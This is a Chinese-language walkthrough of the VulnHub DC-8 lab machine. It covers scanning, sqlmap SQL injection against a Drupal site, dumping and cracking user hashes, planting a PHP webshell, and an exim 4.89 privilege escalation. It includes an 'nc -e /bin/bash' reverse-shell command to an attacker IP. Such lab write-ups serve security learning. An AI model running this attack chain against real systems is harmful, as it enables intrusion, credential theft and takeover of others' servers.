vulnhub过关之旅(DC-8)

1.信息收集

1.1IP信息探测

sudo masscan --ping 192.168.100.0/24 --rate=1000
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-08-12 02:06:52 GMT
Initiating ICMP Echo Scan
Scanning 256 hosts
Discovered open port 0/icmp on 192.168.100.153

1.2端口服务探测

sudo nmap 192.168.100.153 -p- -sV -A
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-12 10:08 CST
Nmap scan report for 192.168.100.153
Host is up (0.00049s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 35:a7:e6:c4:a8:3c:63:1d:e1:c0:ca:a3:66:bc:88:bf (RSA)
|   256 ab:ef:9f:69:ac:ea:54:c6:8c:61:55:49:0a:e7:aa:d9 (ECDSA)
|_  256 7a:b2:c6:87:ec:93:76:d4:ea:59:4b:1b:c6:e8:73:f2 (ED25519)
80/tcp open  http    Apache httpd
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache
|_http-title: Welcome to DC-8 | DC-8
MAC Address: 00:0C:29:A1:10:D8 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.49 ms 192.168.100.153

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.49 seconds

2.寻找漏洞

首先访问目标机的80端口查看网页内容,并且点击左侧的导航栏可以观察到网页的变化

看到url附加了nid变量,然后页面上有了其他信息显示,先试试sql注入

加了单引号后有sql的报错,可以确定这里有个sql注入漏洞了,接下来利用一下,看能不能找到什么用户密码之类的信息,直接sqlmap启动。

sqlmap -u "http://192.168.100.153/?nid=1" -v 1 --batch

成功获得注入信息

获得库名

sqlmap -u "http://192.168.100.153/?nid=1" -v 1 --dbs --batch

获得库中的表名

sqlmap -u "http://192.168.100.153/?nid=1" -v 1 -D d7db --tables --batch

主要关注一下带users的表,接下来列出users表中的数据

sqlmap -u "http://192.168.100.153/?nid=1" -v 1 -D d7db -T users --dump --batch

可以看到里面共有两个账户admin和john,并且他们两个的密码都是加了密的,这里用户名john应该是提示用john工具来解密,把这两个加密后的密文分别保存至admin.txt和john.txt,然后使用kali的john破解密码。

john admin.txt
john john.txt

发现只成功破解出了john用户的密码,这里如果之前已经破解过的密码再次破解会出现没有密码需要crack的提示,这里进入当前目录下的.john目录,然后找到john.pot文件查看里面的内容就会有破解过的密码记录,删掉的话就可以再次破解了。

然后使用dirsearch爆破目录来找到后台的登录地址

python3 dirsearch.py -u 192.168.100.153 -o result.txt

然后使用刚刚收集到的账号密码进行登录后台

登录后台后接下来寻找一下有没有可以对页面进行编辑的地方,这样切换到php代码可以写入一句话木马。

在content页面找到了一个可以编辑的选项

然后点击edit后再一番探索又成功找到了可以写php代码的地方

注意这个页面需要我们来到主页的contact us然后提交信息后才可以看到。

可以看到后门成功写入,接下来用蚁剑连接,然后使用虚拟终端反弹回来一个shell。

nc -e /bin/bash 192.168.100.129 12345
nc -lvnp 12345
python -c 'import pty;pty.spawn("/bin/bash")'

3.提权

成功获得一个www-data用户后,接下来想办法提权到root

尝试使用sudo -l来寻找免密root的程序,发现需要密码,不太行,再使用find方法来寻找

find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/newgrp
/usr/sbin/exim4
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/bin/ping
/bin/su
/bin/umount
/bin/mount

找到一个值得怀疑的exim4程序

接下来使用searchsploit寻找这个程序的漏洞

searchsploit exim

再输入命令查看一下exim的版本号为4.89

exim4 --version

所以这里使用这个符合版本要求的提权利用脚本,把该sh文件复制到当前目录下,cat一下查看查看内容,然后把它上传到目标机的/tmp目录下执行,发现会报错,显示在每一行的末尾会有隐藏的字符,应该是Windows和Linux换行的区别问题,这里我们把它的内容单独复制出来然后新建一个文件重新上传。

另外注意这个脚本用法里面,有两种使用模式,第一种也就是默认的在这里是无法获取root权限的,第二种模式可以成功获得root权限。